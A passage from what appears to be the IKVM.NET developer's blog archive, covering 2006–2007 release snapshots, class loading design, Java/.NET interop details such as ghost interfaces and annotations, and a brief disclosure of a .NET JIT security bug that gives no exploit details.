4/23/2007 7:42:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

Wednesday, April 11, 2007

Detecting .NET 2.0 x64

In the category .NET trivia. I found a weird difference between .NET 2.0 x86 and x64. This code detects that it runs on x64 (at least the .NET 2.0 build included with Vista x64):

WeakReference r = new WeakReference(null);
try { throw new Exception(); }
catch (Exception x) { r.Target = x; }
GC.Collect();
if (r.Target != null)
  Console.WriteLine("Running on x64");

It appears that the last thrown exception is stored in a global (or rather probably thread local) variable and hence not garbage collectable until the next exception is thrown...

Update: I thought this was obvious, but since two commenters have felt the need to point out that you shouldn't use this in production, I'll say it explicitly:I was just pointing out some obscure implementation difference (arguably a bug), do not use this code in production.

4/11/2007 3:31:01 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, April 09, 2007

Memory Mapped Files

What happens when you get a read error while accessing a memory mapped file? Let's try it:

RandomAccessFile raf = new RandomAccessFile("\\\\server\\share\\filename", "r");
FileChannel channel = raf.getChannel();
MappedByteBuffer map = channel.map(FileChannel.MapMode.READ_ONLY, 0, 5 * 1024 * 1024);
map.get(10 * 1024);
System.out.println("read byte at 10K -- waiting");
Thread.sleep(5000);
map.get(500 * 1024);
System.out.println("read byte at 500K");

Running this on JDK 1.6 (x64) and removing the network cable during the sleep will result in an Internal Error in the VM. Not exactly what I had hoped for.

Interestingly, on IKVM doing the same results in a cli.System.Runtime.InteropServices.SEHException being thrown.

4/9/2007 11:32:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

New Snapshot

The GNU Classpath 0.95 release branch has been created (0.94 was skipped), so it shouldn't be long now before I will release IKVM 0.34, but before that here's a final snapshot containing everything that will be in 0.34.

Changes:

  • Integrated current GNU Classpath cvs version.
  • .NET "generic class loaders" now return something (mildly) sensible when toString() is called on them.
  • ikvmc no longer warns about generic stubs.
  • ikvmstub now has WHIDBEY conditional code to properly determine if a class is a generic type instance (instead of the name based hack).
  • Fixed .NET generic type name mangling bug (nested generic types were double encoded).
  • Added support for loading .NET generic type stubs.
  • Fixed several .NET generic type loading bugs.
  • Fixed ikvm.runtime.Util.getInstanceTypeFromClass() to return null instead of throw an exception when it is called on a "dynamic only" class.
  • Changed ikvmstub to use java.util.zip instead of SharpZipLib.
  • Fixed index/length overflow detection in arraycopy_primitive_n methods.
  • Fixed JNI init args and thread attach string conversions.
  • Added workaround for .NET bug that caused OverflowException when compiling a class with an initialized final instance field of type char with a value > 32K.

Binaries available here: ikvmbin-0.33.2655.zip

4/9/2007 10:19:22 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, March 26, 2007

New Snapshot

The GNU Classpath 0.94 release is due soon (hopefully), but in the mean time here's a new snapshot.

Changes:

  • Integrated current GNU Classpath cvs version.
  • Fixed VMStackWalker.firstNonNullClassLoader() to handle reflection scenarios (this fixes a problem with serialization where the wrong class loader would be used when deserializing a class that has a custom readObject method.)
  • Added VMFile.setReadable/setWritable/setExecutable/canExecute. Although only setWritable does anything halfway usable (all these methods behave like the JDK on Windows, so only the file's ReadOnly attribute is manipulated).
  • Changed the build process to build IKVM.Runtime.dll in two passes, the first pass is used to compile IKVM.GNU.Classpath.dll against and then in the second pass IKVM.Runtime.dll can statically reference IKVM.GNU.Classpath.dll. This removes the need to use reflection to find IKVM.GNU.Classpath.dll at runtime and thus allows multiple versions of IKVM to co-exist side by side in the same AppDomain now.
  • Added support for stubbing abstract methods that contain unsupported argument types (ByRef and Pointer)
  • Regenerated mscorlib.jar and System.jar
  • Changed RetentionPolicy on .NET custom attribute annotations to RUNTIME, so that ikvmc sees them (fixes a regression).
  • Handled signature clashes in .NET type methods.
  • Made method parameter name handling robust against invalid or incomplete local variables tables.
  • Fixed interface implementation to recurse all the way up.
  • Fixed bytecode metadata table to mark div/rem bytecodes as possibly throwing an exception (this fixes bug 1676377, thanks to Dennis Ushakov for reporting this)
  • Made WinForms/AWT thread into a Background thread, to prevent it from keeping the process alive.
  • Added -time option to ikvmc.
  • Added x64 detection to jvm.dll build script.
  • Fixed several .NET 2.0 "ReflectionOnly" bugs.
  • Implemented java.awt.Desktop peer.
  • Fixed several issues pointed out by FxCop: FileChannelImpl now calls GetLastWin32Error() immediately after the P/Invoke. Runtime.addShutdownHook() now has a LinkDemand for ControlAppDomain (because it exposes the AppDomain.ProcessExit event, which also has this LinkDemand). Ghost types now have an Equals, GetHashCode, == and != method. Comparable.__Helper now has a private constructor and is sealed. Shadow methods in remapped types (that exist to hide the base class methods from Intellisense) now copy any LinkDemands from the methods they hide.

Binaries available here: ikvmbin-0.33.2641.zip

3/26/2007 3:01:11 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, March 25, 2007

Running DOS Games

Since I'm running Vista x64, I can't run DOS apps anymore (since the AMD64 arch doesn't support VM86 when running in 64 bit mode). I can, of course, still run DOS inside the VMWare image of my old machine, but now there something much cooler JPC. An x86 PC emulator written in Java. Naturally, I had to try running it on IKVM:

Lemmings for DOS running on IKVM

The image shows Lemming for DOS running on the JPC x86 emulator running on IKVM.NET running on the x64 CLR.

Unfortunately IKVM's AWT support is not good enough for this app to work, so I had to do some pretty gross app specific hacks to make it "work" (that I obviously won't check in). It's also awfully slow (on JDK 1.6 the game is actually playable, but on IKVM definitely not.)

If any of the other GNU Classpath hackers want to try running JPC. Here's the AppletViewer class I used:

import java.awt.*;

class AppletViewer
{
  public static void main(String[] args)
  {
    Frame f = new Frame();
    f.setSize(640, 480);
    f.setLayout(new GridLayout(1, 1));
    org.jpc.j2se.JPCApplet applet = new org.jpc.j2se.JPCApplet();
    f.add(applet);
    f.show();
    applet.init();
    applet.start();
  }
}

The JPC applet jar can be downloaded here.

3/25/2007 12:41:43 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, March 19, 2007

ThinkPad Z61p & Vista x64

About a month ago my new ThinkPad Z61p arrived. It came pre-installed with Windows XP, but I always do a clean install to remove all the junk that comes with a new system (although Lenovo isn't nearly as bad as some OEMs). I decided to be adventurous and install Vista Ultimate x64.

Virtual PC 2007

I copied the harddisk of my old laptop to a VHD file, so that I would be able to use Virtual PC 2007 to run my old configuration. Well that was a big mistake. Virtual PC 2007 is a useless piece of crap. First of all, it had problems with the VHD file because it was bigger than 64GB (which surfaced as "Sector not found" errors in the virtual machine) and after I resolved that by shrinking the disk to 60GB the performance was horrible (it appears they *still* haven't solved the laptop/chipset/keyboard responsiveness issue). After getting fed up with that I switched to VMWare 6.0 beta and I have been very happy with that (I've been a VMWare user since 1.0, but wanted to give Virtual PC 2007 a chance since it's free [as in beer] now.)

Performance

The fact that the harddisk was *always* busy drove me crazy (and made things often very slow), so I've disabled the Windows Search indexing service, after doing that and using a 2GB Kingston USB memory key as a ReadyBoost cache performance is acceptable. It's hard to compare with my previous XP system, because I also switched to Office 2007 and Outlook 2007 is a real pig.

Problems

The integrated WiFi doesn't work. It looks like the driver works fine (I can see all WiFi networks in the area just fine), but when Vista tries to establish a secure connection, it fails (well, it actually succeeds and then breaks the connection again after a few seconds). All of the built in diagnostics crap is totally useless (as expected). The built-in flash reader also doesn't work (the Lenovo support site doesn't have a driver, but with some Googling I was able to find one, but it was very unstable).

IKVM

I've switched my main IKVM development environment to Visual Studio 2005 (but will still support .NET 1.1) and when I do my test builds I now build in 64 bit mode. This works surprisingly well and the performance is excellent. I was a bit skeptical about the x64 CLR JIT because of my previous experiences on Windows XP x64 (the performance there basically sucked), but the Vista CLR build (which is a newer build) appears to have fixed that.

As a result of running on .NET 2.0 most of the time now, I've fixed several "ReflectionOny" bugs (when IKVM is built on .NET 2.0 it uses the ReflectionOnly assembly loading context for ikvmc and ikvmstub).

3/19/2007 8:52:40 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, March 17, 2007

More Magic

Thanks to Stuart's prodding, the next version of ikvmc will automatically add a System.IDisposable or System.Collections.IEnumerable implementation to any Java classes that implement java.io.Closeable or java.lang.Iterable (respectively).

That means that you can now do this in C#:

java.util.ArrayList list = new java.util.ArrayList();
list.add("foo");
list.add("bar");
using (java.io.FileWriter fw = new java.io.FileWriter("test.txt"))
{
  foreach (string s in list)
  {
    fw.write(s);
    fw.write("\n");
  }
}

Note that the interfaces are only added to the classes (i.e. the java.io.Closeable interface doesn't implement System.IDisposable). From Java this change is mostly invisible, e.g. when you use Java reflection you won't see System.IDisposable on java.io.FileWriter. However, when you use the instanceof operator or do a cast to cli.System.IDisposable, it will succeed. It would be possible to remove this inconsistency, but I don't think that's worth it.

Too Much Magic

Too much of anything is never a good thing, but in the case of adding magic to ikvm, it has always been very difficult to draw the line between just enough and too much. There already is a fair bit a magic in ikvm and I tend to be rather conservative in adding more. The main reason is that magic is almost never "perfect", this means that in most cases it will work as expected, but there are always edge cases where people will be surprised by how things work and that's clearly not good.

Stuart also wants Java's foreach construct to work on .NET types that implement IEnumerable, but to make that work would require turning java.lang.Iterable into a ghost interface and I currently feel that would be in the "too much magic" category, especially considering that ghost interfaces are not very good magic.

3/17/2007 3:05:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, March 16, 2007

Microsoft dropping J# and JLCA in next version of Visual Studio

Via Lorenzo Barbieri (via Google blog search, I don't read Italian) I learned that Microsoft decided to drop support for J# and the Java Language Conversion Assistant in the next version of Visual Studio (code named Orcas).

I'm glad they finally realised the futility of competing with IKVM.NET ;-)

3/16/2007 11:36:58 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Wednesday, March 14, 2007

DST Update

I made a new binary release of 0.32 that includes the back-ported GNU Classpath TimeZone fixes for the updates to the US DST rules.

Available here: ikvmbin-0.32.0.1.zip

3/14/2007 3:51:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, February 09, 2007

Class Loading Architecture

As I previously blogged, 0.32 has a new class loading architecture. I promised to explain the architecture, but I accidentally deleted the blog post I wrote about it a while ago and I didn't feel like rewriting it straight away, but I still need to do it, so here it is ;-)

The Basic Idea

Every .NET assembly has its own corresponding ClassLoader instance. This is true for assemblies generated with ikvmc as well as other .NET languages. The class loader instance corresponding to an assembly is known as the assembly class loader. It does not have a parent class loader (ClassLoader.getParent() returns null), but it does do a form of delegation. When the assembly class loader is used to load a class or resource, first it will search the corresponding assembly, if that doesn't result in the requested item, the assemblies directly referenced by the assembly are searched (and if that also doesn't find the item, the IKVM.GNU.Classpath assembly is searched).

The System Class Loader

By default the system class loader will be set to the assembly class loader of the main application executable assembly. If there is no main executable assembly (e.g. the main executable is unmanaged or the AppDomain was created without one) or the java.class.path or java.ext.dirs properties are set, then a URLClassLoader that searches the classpath is used. This means that in most scenarios no dynamic Java class loading is enabled by default. This also means that you don't have to worry about your application being affected by the CLASSPATH environment variable as set on the system where the application runs (which previously could -- and did -- result in hard to diagnose problems on some systems with a weird CLASSPATH setting.)

Dynamically Loading a Class

Class.forName() just works if the class loader it uses (and, like Java, it uses the class loader that loaded the calling class) can find the class. It can also be used to load classes from assemblies that are not referenced by any class loader that is already available. This is done by specifying the assembly qualified name of the type (in .NET form, without the cli prefix). Here's an example:

class MsgBox
{
  public static void main(String[] args) throws Exception
  {
    Class c = Class.forName("System.Windows.Forms.MessageBox, " +
                "System.Windows.Forms, " +
                "Version=1.0.5000.0, " +
                "Culture=neutral, " +
                "PublicKeyToken=b77a5c561934e089");
    c.getMethod("Show", String.class).invoke(null, "Hello, World!");
  }
}

Versioning

One nice benefit of the new architecture is that it is now possible for two (or more) different versions of a jar to be loaded and used in the same AppDomain. Previously that would sort of work, but it would break down if the code used Class.forName() or tried to load resources. However, now the class loader namespaces can be fully seperated (you still can't have a single assembly that directly references two versions of the same code, but indirectly it works fine.) Here's an example of an application that uses two different assemblies that both depend on different versions of the same assembly:

The rectangles represent assemblies and the ovals represent class loaders. The pink oval is the assembly class loader for App.exe and can see classes in both Foo.dll and Bar.dll, but won't be able to see any classes from either of the Widgets assemblies. The yellow oval is the assembly class loader of Foo.dll and it allows Foo.dll to see the correct version of Widgets.dll, but not the other one (nor any classes in App.exe, unless it uses the system class loader). Each Widgets.dll assembly will also have its own assembly class loader (not shown in the diagram) and that will only be able to load classes from the corresponding Widgets assembly.

JSR 277

The limitations of the Java class loading architecture have long been known and several hacks have been developed to work around some of those limitations, but it is clearly desirable (at least to some people) to replace the current architecture with something better. JSR 277 is trying to define that new architecture. I believe that the architecture that IKVM 0.32 introduced is very similar to what JSR 277 is going to end up like, so in the future it should be possible to support JSR 277 without any major changes. Also, if your Java code requires changes to be compatible with the IKVM architecture, it almost certainly will require similar changes to deal with JSR 277 and making these changes now will make it easier to migrate to JSR 277 based modules in the future.

2/9/2007 9:27:03 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, February 05, 2007

New Snapshot

It's been a while since the 0.32 release and there has been a fair bit of change going on, so I thought I'd release a snapshot for people who want to play with up to date binaries.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Added support for representing .NET enum types as Java enums for use in annotations (.NET enum types now have an inner class __Enum).
  • Added support for adding fields to classes in map.xml.
  • Fixed remapping infrastructure to not generate superfluous method body for interface methods.
  • Added partial support for enum types in .NET attribute annotations.
  • Added Java 1.6 methods to java.lang.String.
  • Added -warnaserror option to ikvmc (suggested by David Ehrlich).
  • Many AWT improvements (by Volker Berlin).
  • Added caching to VMStackWalker.isHideFromJava to speed up stack walking (suggested by Trevor Bell).
  • Fixed handling of non-vector arrays.
  • Made JNIEnv.FatalError more compatible with JDK and removed call to JVM.CriticalFailure (which is reserved for IKVM bugs).
  • Centralised OEM string decoding in JNI code.
  • Changed JVM.CriticalFailure to write message to console instead of displaying a message box in ikvmc.
  • Fixed AnnotationBuilder to add ImplementsAttribute to annotation attribute, so that reflection correctly reports the implemented annotation interface.
  • Fixed AnnotationBuilder to ignore annotation attribute properties of type Annotation (as .NET attributes have no way to encode them).
  • Implemented annotation support in StubGenerator (used by ikvmstub and other code that reads statically compiled classes as resources).
  • Added warning to ikvmc when skipping a class that is already in a referenced assembly.
  • Changed ikvmc -nowarn to use only the first variable string in a warning as a key.
  • Changed ikvmc to fail with a Link Error when it detects a loader constraints violation (instead of emitting code that throws a LinkageError at runtime).
  • Fixed handling of bridge methods with covariant return types in ikvmc (to allow other .NET languages to call these methods [i.e. the non-bridge counterparts]).
  • Changed ikvmc to add EditorBrowsable(Never) attribute to bridge and synthetic methods.
  • Fixed workaround for Mono bug (lack of proper token support in reflection emit api) in field reflection support.
  • Fixed system property initialization to handle case where IKVM.GNU.Classpath doesn't have a Location (e.g. when it is loaded with Assembly.Load(byte[]) (suggested by Bill Seddon).

Binaries are available here. Source is available in cvs.

2/5/2007 7:48:55 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 22, 2007

Events

Like previous years, I'll be attending FOSDEM this year. I'll also be at the Microsoft PDC in October.

If you're going to either of these and would like to meet for a chat, please feel free to contact me.

1/22/2007 10:18:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 15, 2007

AWT/Swing a Little Bit Less Unsupported

I don't want to raise expectations too much because there's still an incredible amount of work to be done, but thanks to great work done by Volker Berlin a lot of progress has been made on the AWT/Swing front. For example, here's a screenshot of the JDK SwingSet2 demo running on the current ikvm version from cvs:

Not everything works and some of the missing functionality will be quite difficult to implement on top of .NET 1.1 or 2.0 (it may be easier with WPF, but I really don't know). There are also a couple of GNU Classpath bugs, but overall it's quite impressive how well this demo works.

1/15/2007 8:46:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, January 03, 2007

java.lang.Comparable

In the entry about object schizophrenia I used java.lang.Comparable as an example in J#, but for IKVM I did not mention it as a ghost interface. In the comments Stuart Ballard asked why Comparable isn't a ghost interface.

Unlike what Stuart claimed, this is definitely not a stupid question. He also figured out part of the answer: java.lang.Comparable maps to System.IComparable.

That's not the whole story though. The reason that I originally mapped Comparable to IComparable was that System.String conveniently implements IComparable and that IComparable.CompareTo is semantically (nearly) identical to Comparable.compareTo. Back then I hadn't yet "invented" the ghost interface idea and this seemed to solve most of the issues (the other two ghost interface candidates, Cloneable and Serializable are only used as marker interfaces, so it didn't seem like a big deal that System.String didn't implement these interfaces. java.lang.CharSequence only appeared in Java 1.4 and I vaguely knew about it, but at the time I chose not to worry about that yet.)

 A nice side effect of mapping Comparable to IComparable is that you get better interop (e.g. Java objects that implement Comparable will sort correctly when used in .NET applications and .NET objects that implement IComparable will sort correctly in Java), so that meant that when I developed ghost interfaces I didn't really want to go back and change Comparable into a ghost interface.

Finally, there is one more complication. Even though Comparable.compareTo and IComparable.CompareTo have identical semantics, there still is a problem with String. Java's String.compareTo is specified more strictly than Comparable.compareTo. The interface method is specified to simply return zero or a signed or unsigned integer, but the String version is actually specified to return the difference between the mismatching characters (or zero, if the strings match.) To handle this correctly, when you call Comparable.compareTo, you're actually calling a static method Comparable.__Helper.compareTo that first does a check to see if the object you're comparing is a String and, if so, it calls a static helper method that implements the specified Java comparision algorithm.

BTW, the reason that the static compareTo helper method lives inside a nested __Helper class is because Reflection.Emit (on .NET 1.x) incorrectly prohibits adding static methods to interfaces (which is entirely legal according to the CLI specification).

Performance Impact

The following table compares the direct methods calls with the interface method calls. Note that these basically represent a worst case estimate, because of limit amount of work the actual compareTo method does. Note also that for notational convenience I used the zero digit, but in the actual benchmark I used a local variable containing new Integer(0).

Method Call Time (ns)
"".compareTo((Object)"") 140
((Comparable)"").compareTo("") 220
0.compareTo(0) 6
((Comparable)0).compareTo(0) 35

These results are on .NET Framework 2.0 (x86). Averaged over 10,000,000 calls and includes the loop overhead.

For comparison, here are the results for JDK 1.5 HotSpot Client VM:

Method Call Time (ns)
"".compareTo((Object)"") 17
((Comparable)"").compareTo("") 21
0.compareTo(0) 7
((Comparable)0).compareTo(0) 15
1/3/2007 12:12:02 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, December 28, 2006

IKVM 0.32 Released

I released 0.32 to SourceForge (same bits as rc1).

12/28/2006 4:57:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Object Schizophrenia

Early on in the design of IKVM, I decided that I didn't want to use wrapper objects to bridge the Java and .NET type systems as this leads to either object identity problems (and I just found out that this is sometimes called object schizophrenia and that triggered this post) or horrible performance.

By contrast, J# does use wrapper objects in a least one case and this does indeed lead to object schizophrenia:

public class Program
{
  public static void main(String[] args)
  {
    String foo = "Foo";
    Comparable comp = foo;
    System.out.println(foo == comp);
  }
}

Compiling this Java code with Visual Studio 2005 and running it produces false, while it clearly should print true.

While IKVM doesn't suffer from this, there is a somewhat related problem to look out for when using IKVM ghost interfaces from a .NET language:

using System;
using java.lang;

public class Program
{
  static void Main(string[] args)
  {
    CharSequence seq = "foo";
    object obj1 = seq;
    object obj2 = seq;
    Console.WriteLine(obj1 == obj2);
  }
}

Running this C# app produces False. This is because CharSequence is a ghost interface and represented by a value type. Assigning it to a local variable of type object boxes the value type instead of giving the underlying string object. Note that this only applies to ghost interfaces (i.e. java.lang.CharSequence, java.lang.Cloneable and java.io.Serializable). To fix this problem, you have to explicitly unwrap the object from the value type:

CharSequence seq = "foo";
object obj1 = seq.ToObject();
object obj2 = seq.ToObject();
Console.WriteLine(obj1 == obj2);

Unfortunately .NET doesn't have any mechanism for a value type to prevent (implicit) boxing or defining a custom implicit object conversion operator.

12/28/2006 2:07:23 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

New Snapshot

A new development snapshot. Now that GNU Classpath generics support has been merged in the IKVM.GNU.Classpath.dll has become a little bigger again (mostly because of the metadata associated with generic types and methods). Additionally, because enums and annotations are now fully available I've been able to continue work to support those better (in particular the integration between .NET and Java). It is now possible to use most Java annotations as .NET attributes in a fairly natural way.

Here's an example of using some Java annotations in C#:

[Retention(RetentionPolicy.__Enum.RUNTIME)]
[Target(new ElementType.__Enum[] { ElementType.__Enum.FIELD, ElementType.__Enum.METHOD })]
[Documented]
[Inherited]
[AnnotationLib.MyClassAnnotation(typeof(string))]
[AnnotationLib.MyClassArrayAnnotation(new Type[] { typeof(string), typeof(test) })]
[AnnotationLib.MyIntAnnotation(42)]
[AnnotationLib.MyIntArrayAnnotation(new int[] { 42, 123 })]
[AnnotationLib.MyStringAnnotation("Foo")]
[AnnotationLib.MyStringArrayAnnotation(new string[] { "Foo", "Bar", "Baz" })]
[AnnotationLib.MyPropAnnotation(count = 3)]
[AnnotationLib.MyOptionalValueAnnotation]
interface IFoo
{
}

Note in particular that Java enums are represented as nested .NET enum types (automatically generated by ikvmc whenever it encounters a public enum) and that Java class literals are represented as .NET Type literals. These mappings are required because .NET attributes (like Java annotations) cannot have arbitrary types as parameters.

List of changes:

  • Updated to current GNU Classpath cvs version.
  • Many AWT improvements (done by Volker Berlin, who now has cvs commit access).
  • Fixed bug in handling of annotation parameters of type Class.
  • Changed System.mapLibraryName to look at os.name system property and support the Mac OS X naming convention (but note that os.name needs to be explicitly set to "Mac OS X" for this to work).
  • Implemented most of the support needed to use annotations as .NET attributes. This includes generating a nested .NET enum named __Enum for Java enums (to make them usable in .NET attributes). Using annotations as attribute parameters is not supported (i.e. in .NET languages, for Java code annotations work as specified.)

Binaries are available here. Source is available in cvs.

12/28/2006 9:20:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 11, 2006

IKVM 0.32 rc1

Here's the release candidate. Updated japi results are available here.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.93.

Files are available here: ikvm-0.32.0.0.zip (sources + binaries), ikvmbin-0.32.0.0.zip (binaries), ikvmbin-generics-0.32.0.0.zip (binaries built from generics branch))

As usual the binaries in ikvmbin-0.32.0.0.zip are signed and the generics binaries are not signed (and should be considered experimental and are not as well tested as the signed binaries). Post 0.93 the GNU Classpath generics branch will go away and be merged into the main branch.

I going on vacation tomorrow and will be back on the 21st. Please test this rc in the mean time ;-) When I get back I will do the official release.

Update: As Andrew John Hughes points out in the comments, the GNU Classpath generics merge is now done. I've modified the ikvm build to support this and checked these changes in.

12/11/2006 9:43:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, December 07, 2006

.NET Framework 2.0 Security Hole

Yesterday I discovered a bug in the JIT that not only causes incorrect results, but also allows the type system to be circumvented, which in turn leads to the possibility of arbitrary code execution. I have a proof-of-concept that executes arbitrary x86 code from a verifiable and partially trusted C# application.

I reported the bug to Microsoft and it turns out that it was independently discovered and reported by someone else in August (but who, I believe, did not understand the security implications of the bug). The bug was subsequently fixed in September and the fix made it into the Vista release of the .NET Framework 2.0 (so if you're running Vista, you're not vulnerable.)

They tell me that a fix will be distributed via Windows Update "sometime in the next few months". If you don't want to be vulnerable in the mean time, disable running .NET code in the browser and don't run any ClickOnce applications from untrusted sources.

I will publish my proof-of-concept and analysis after the patch is released.

12/7/2006 7:45:59 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Tuesday, December 05, 2006

New Snapshot

Final snapshot before the 0.32 release candidate (due after GNU Classpath 0.93 is released).

  • Integrated GNU Classpath 0.93 cvs branch.
  • Fixed type sealing optimization to take -privatepackage option into account.
  • Fixed line number table encoding bug (for line number deltas > 8191).
  • Fixed array to support internal accessibility (@ikvm.lang.Internal annotation or ikvmc -privatepackage option).
  • Switched to using NAnt-0.85 (release) for building.
  • Unforked gnu.classpath.Pointer. GNU Classpath native code that uses Pointer can now be used as-is.
  • Removed various gnu.classpath.Pointer hacks from compiler and runtime.
  • Removed handcoded DirectByteBufferImpl methods from map.xml
  • Forked DirectByteBufferImpl and merged in MappedByteBufferImpl functionality. DirectByteBufferImpl now uses .NET type System.Runtime.InteropServices.Marshal to do direct buffer manipulation and uses a PhantomReference to schedule cleanup.
  • Updated FileChannelImpl to use new DirectByteBufferImpl instead of MappedByteBufferImpl.
  • Changed FileChannelImpl to directly use win32 boolean instead of polymorphism, for the few platform specific operations.
  • Fixed regression introduced in previous snapshot. IsErasedOrBoxedPrimitiveOrRemapped should only return true for Java primitives, not all .NET primitives.
  • Added check to ikvmc to make sure that all assemblies required by referenced assemblies are available.
  • Added attempted workaround for c++/cli compiler bug https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=234167
  • Fixed Socket.soLingerOption(false) handling.
  • Added String.format() methods. (Note that they delegate to GNU Classpath's java.util.Formatter which isn't yet fully functional.)
  • Changed class file parser to accept version 50 (Java 6) class files (the StackMapTable attribute is still ignored though).
  • Fixed ikvmc to make the stub methods that exist to hide System.Object and System.Exception methods from java.lang.Object and java.lang.Throwable do a virtual call on the methods they hide, instead of a non-virtual call.
  • Removed public instancehelper_finalize() and instancehelper_clone() methods from java.lang.Object & java.lang.Throwable. This required some relatively ugly hacks, but having these protected methods callable by anyone was not acceptable from a security p.o.v. so hacks are a necessary evil. As a side effect, these hacks made it possible to implement clone() for types that extend cli.System.Object and cli.System.Exception (as long as they implement the java.lang.Cloneable interface to signal that they are OK with being cloned).
  • Enabled IKVM.AWT.WinForms.dll target on Linux.
  • Changed AssemblyClassLoader (Java code) to keep track of the Assembly it corresponds to.
  • Implemented some simple codegen optimizations in CountingILGenerator.
  • Implemented resource loading delegation for assembly class loaders.
  • Added support (albeit a little hacky) for generating class stubs for .NET generic type instances.
  • Added ikvmc -externalresource option to link external files as resources (i.e. instead of embedding the resource in the assembly, only a filename and hash are added to the assembly manifest.)
  • Pre-linked .NET method wrappers, to fix problem with .NET generic types in signatures.

Source is in cvs. Binaries: ikvmbin-0.31.2530.zip

12/5/2006 8:57:09 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, November 28, 2006

Linux Build Environment

M. David Peterson has created a Linux Virtual Appliance that can be used to build IKVM.NET from source in a Linux environment without requiring a lot of complicated setup.

  • Download the appliance VMWare image from http://www.rpath.org/rbuilder/project/nuxleus/release?id=5209
  • Boot it up inside VMWare (Player)
  • Log in as root (no password)
  • Run "conary update --replace-files group-devel=conary.rpath.com@rpl:1"  to get the development tools
  • Run "conary update cli-gac-tag" to install the ikvm assemblies into the GAC.
  • Run "cvs -z3 -d:pserver:anonymous@ikvm.cvs.sourceforge.net:/cvsroot/ikvm co -P ikvm" to get IKVM.NET from cvs.
  • Run "cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/classpath co classpath" to get GNU Classpath from cvs.
  • Change into the ikvm directory and run nant.

That's it!

11/28/2006 7:28:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 14, 2006

Sun Open Sourcing Java

Yesterday Sun announced that they will be releasing their Java platform implementations under the GPL v2 (+ Classpath exception for the J2SE libraries). This is great news for the Java ecosystem and for IKVM.NET as well, of course.

A few people have mailed me to ask what this means specifically for IKVM. Here are my current plans (subject to change, as always): When the GPL version of the Java 7 libraries will be released, I will start working on integrating them with IKVM. Some parts of the libraries are not owned by Sun, so there will be holes in what they release, hopefully these can be filled soon (for example by code from GNU Classpath.)

The Sun libraries obviously use native code to interface with the OS, for IKVM this is not ideal (JNI is slow and native code much less secure and robust than managed code), so where feasible I will continue to use my current "native" implementations (e.g. socket and file i/o) based on the .NET Framework.

11/14/2006 7:44:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Wednesday, October 11, 2006

New Snapshot

New snapshot where I've reintroduced netmodule support. I think that was the final issue resulting from the assembly class loader architecture change, but, as always, I welcome feedback.

Changes:

  • Added modreq(IsVolatile) support for WHIDBEY target.
  • Fixed a bug in ikvmc's detection of incompatible assemblies (compiled with another version of ikvm).
  • Added support for specifying partial names in ikvmc -reference option (this is most useful for .NET Framework assemblies, e.g. you can now say -r:mscorlib).
  • Fixed NullReferenceException in AssemblyClassLoader when one of the referenced assemblies is not available.
  • Changed class.map and pkg.lst from resources to custom attributes, to better support modules that are merged together (WARNING: merging ikvmc generated modules with modules generated by other compiler is *not* supported)
  • Added support for multi-module assemblies (each module in a multi-module assembly can be written in a different language [but J# is still not suppored]).
  • Added optimization to ikvmc to seal private types that do not have subclasses.
  • Removed global DefineClass lock.
  • Constant fields no longer have a CLR backing field in dynamic mode.

Source is in cvs. Binaries: ikvmbin-0.31.2475.zip

10/11/2006 7:35:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, October 04, 2006

New Snapshot

Yet another new snapshot.

Changes:

  • Fixed java.lang.Byte implementation of IFormattable to treat byte as a signed number.
  • Changed ikvm.lang.CIL boxing methods for built-in primitives to no longer do the actual boxing, but instead simply return the passed in value as another type, the call site will then do the boxing (if required).
  • Fixed field reflection to support overloaded field names.
  • Fixed a bunch of metadata regressions introduced in 0.31 with the changes made to final field handling.
  • Deprecated final fields that are compiled as properties now have the properties marked with ObsoleteAttribute.
  • Added support for encoding method/field signatures with types that look different in the Java world, but are actually the same in the CLR signatures (e.g. you can now have a method that takes or returns cli.System.Object or cli.System.Int32).

Source is in cvs. Binaries: ikvmbin-0.31.2468.zip

10/4/2006 11:33:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, October 02, 2006

New Snapshot

Again, a new snapshot. This time with some new magic to make Java boxed primitives integrate a little better with .NET string formatting. The following code now produces the expected result:

class test
{
  public static void main(String[] args)
  {
    cli.System.Console.WriteLine("Java Magic = {0:X}", 0xCAFEBABE);
    cli.System.Console.WriteLine("Pi is approx. = {0:N2}", Math.PI);
  }
}

To enable this, the Java box classes have to implement IFormattable. I added support to the remapping infrastructure for this:

<class name="java.lang.Double">
  <implements class="cli.System.IFormattable">
    <method
     
name="ToString"
      sig="(Ljava.lang.String;Lcli.System.IFormatProvider;)Ljava.lang.String;">
      <redirect
        class="ikvm.internal.Formatter"
        type="static"
        name="ToString"
        sig="(Ljava.lang.Double;Ljava.lang.String;Lcli.System.IFormatProvider;)Ljava.lang.String;"
      />
